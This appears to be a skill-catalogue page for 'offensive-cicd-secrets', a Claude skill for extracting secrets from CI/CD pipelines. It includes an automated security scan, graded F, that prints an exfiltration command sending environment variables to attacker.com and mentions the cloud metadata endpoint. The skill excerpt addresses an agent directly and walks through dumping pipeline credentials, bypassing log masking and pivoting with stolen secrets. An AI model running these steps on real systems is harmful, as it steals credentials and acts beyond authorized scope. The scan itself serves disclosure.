claude-red is a library of structured skills that give Claude specialized offensive-security methods for areas such as web vulnerabilities, shellcode, exploit development, and identity systems. It is intended for authorized red-team work, bug-bounty triage, security research, CTF preparation, and operator training. Its catalogue contains the project's skills for loading these security specializations into Claude.
Getting it into your agent
There is no command for this one: it runs only inside a plugin, and the catalogue could not identify which plugin ships it. The source is linked below.

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00188 | $0.06251 |
| Opus 5 | $0.00094 | $0.03125 |
| Sonnet 5 | $0.00038 | $0.01250 |
| Haiku 4.5 | $0.00019 | $0.00625 |
Grade F, and why
offensive-cicd-secrets scanned grade F with 5 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLmediumData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
env | base64 | curl -sS -X POST -d @- https://attacker.com/collect Harvests environment variableshighData exfiltration
Enumerating or grepping the environment for keys collects credentials unrelated to what the mod says it does.

Searching home directories for .env, .ssh, .aws or credential files is reconnaissance for credential theft.

One request to 169.254.169.254 can return temporary IAM credentials.

Not a fault in itself. Listed so you know the mod talks to something, and to what.

Offensive CI/CD Secrets Extraction
Secrets in CI/CD environments are the primary objective for pipeline compromise. Every pipeline holds credentials -- deployment keys, cloud provider tokens, API secrets, registry passwords, database connection strings -- and the mechanisms protecting them are consistently weaker than those guarding production secrets. You exploit the fundamental tension in CI/CD design: pipelines need credentials to deploy, but the environments executing pipelines are transient, shared, and often accessible to anyone who can open a pull request.
This skill systematically covers every extraction path across CI/CD platforms, from trivial environment variable dumps to sophisticated OIDC federation abuse. You enumerate what secrets exist, determine which extraction technique applies, recover the credentials, and pivot to expand your access.
MITRE ATT&CK: T1552 (Unsecured Credentials), T1552.001 (Credentials In Files), T1552.004 (Private Keys), T1552.007 (Container API)
Quick Workflow
- Gain code execution in a CI/CD pipeline (see offensive-cicd-pipeline skill for injection vectors).
- Enumerate the execution environment -- platform, runner type, available tools, network access.
- Dump all environment variables and filter for secrets patterns.
- Query platform-specific credential stores using available tokens (GITHUB_TOKEN, CI_JOB_TOKEN, PAT).
- Check for vault/secrets-manager integrations and test for misconfigurations.
- Examine build logs, caches, and artifacts for leaked credentials.
- Test OIDC federation trust if cloud provider integration is present.
- Validate recovered credentials and determine their scope.
- Pivot using recovered secrets to access additional systems, registries, and cloud resources.
Environment Variable Extraction
Every CI/CD platform injects secrets as environment variables. Your first action in any compromised pipeline is a comprehensive environment dump. Platforms attempt to mask secret values in logs, but the masking is trivially bypassed.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

offensive-cicd-secrets is a skill published in the GitHub repository SnailSploit/Claude-Red (3,033 stars, last pushed 7d ago), licensed MIT. It adds 188 tokens to every session and 6,251 once invoked, about $0.0009 per session on Opus 5. A static security scan graded it F with 5 findings (sends data to an external url, harvests environment variables, enumerates the file system for secrets). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
